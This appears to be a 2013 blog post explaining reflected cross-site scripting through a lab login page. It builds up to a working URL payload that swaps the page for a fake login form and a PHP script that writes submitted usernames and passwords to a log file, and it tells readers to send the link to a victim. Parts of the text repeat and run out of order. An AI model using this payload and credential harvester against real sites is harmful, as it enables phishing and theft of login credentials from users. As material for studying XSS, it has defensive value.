Archive for December 2013
XSS is more dangerous than you thought
Hello again and welcome to one of my new posts, today I will like to focus on the consequences of XSS (Cross Site Scripting) which affects more than 85% of the African websites I have scanned recently inclusing government websites and those of high tech companies too (some of them IT Companies).
So what is XSS? please check my other posts of follow my tweets with #afrohats or www.facebook.com/afrohats for details.
I have noticed that XSS is mostly exploitable using the Search form on websites. and there are basically three forms of this vulnerability:
Now send this to a victim and you get the username and password of an IT corporation....
Thanks for reading.
So what is XSS? please check my other posts of follow my tweets with #afrohats or www.facebook.com/afrohats for details.
I have noticed that XSS is mostly exploitable using the Search form on websites. and there are basically three forms of this vulnerability:
- Reflected XSS (show you you typed on the website)
- Stored XSS (processes and stores what you typed on a DB - Dangerous affair)
- DOM-based XSS (injected code changes document object model)
so what harm can XSS really do? Please follow this little illustration:
so first we visit a webpage like this:
Ok, Now we try to login with a random username and password:
As expected, the page will tell you that username / password is wrong or some other error message:
That is interesting... did you notice the address bar with a GET parameter for our error message? yiou did not? take another look please:
so let us try thr usual "URL attack" by changing the GET msg from the address bar to HelloWorld:
Hmmmmmmm.... interesting right?. But what is we play around with some HTML at the address bar? Lets try to bold the text with <b> </b> and see if is works:
Ok HTML is executed, what is we use javascripts' alert box? like: <script>alert(“Reflected XSS found”)</script> Lets see please:
whoa... that was executed too. so now our heads are spinning and thinking what we can do right now. We could send an email but this will not do much espercially if you are to hack coders, web builders, etc you kno all those hi-tech guys. but wait a minute, there is a better way out. since this is a secure login page, we could create a similar looking login form and using Javscript make the fake one stand ontop the real one.
so we start off by writing a similar form in basic html (which most guys can do now right?)
http://10.0.0.2/xss/index.php?msg=<center><h1>Secure User Login</h1><form name=login action=index.php method=post>Username:<input type=text name=username><br>Password:<input type=password name=password><br><input type=submit value=Login name=submit></form></center>so we get something like this:
But this looks foolish, anyone will know something is wrong. But wait till we add the javascripts' document.body.innerHTML as shown below (please take a good look at the address bar)
Great now the original form is lost. so now we add our fake form: so that the url now reads:
http://10.0.0.2/xss/index.php?msg=<script>document.body.innerHTML=”<center><h1>Secure User Login</h1><form name=login action=index.php method=post>Username:<input type=text name=username><br>Password:<input type=password name=password><br><input type=submit value=Login name=submit></form></center>”;</script>
Now our fake form is up but there is still a prob. How are we going to get the entered info?. well isn't PHP designed just for that? so all we do is make our fake form have an action= parameter and POST the data over HTTP with the following PHP code:
<?php$user = $_POST['username'];This means our html source now looks like this:
$pass = $_POST['password'];
$fh = fopen(“log.txt”, ‘a’) or die(“can’t open file”);
$stringData = “\nUsername:$user\nPassword:$pass\n”;
fwrite($fh, $stringData);
fclose($fh);
header(“Location: http://10.0.0.2/xss/index.php?msg=Invalid username/password”);
?>
Thanks for reading.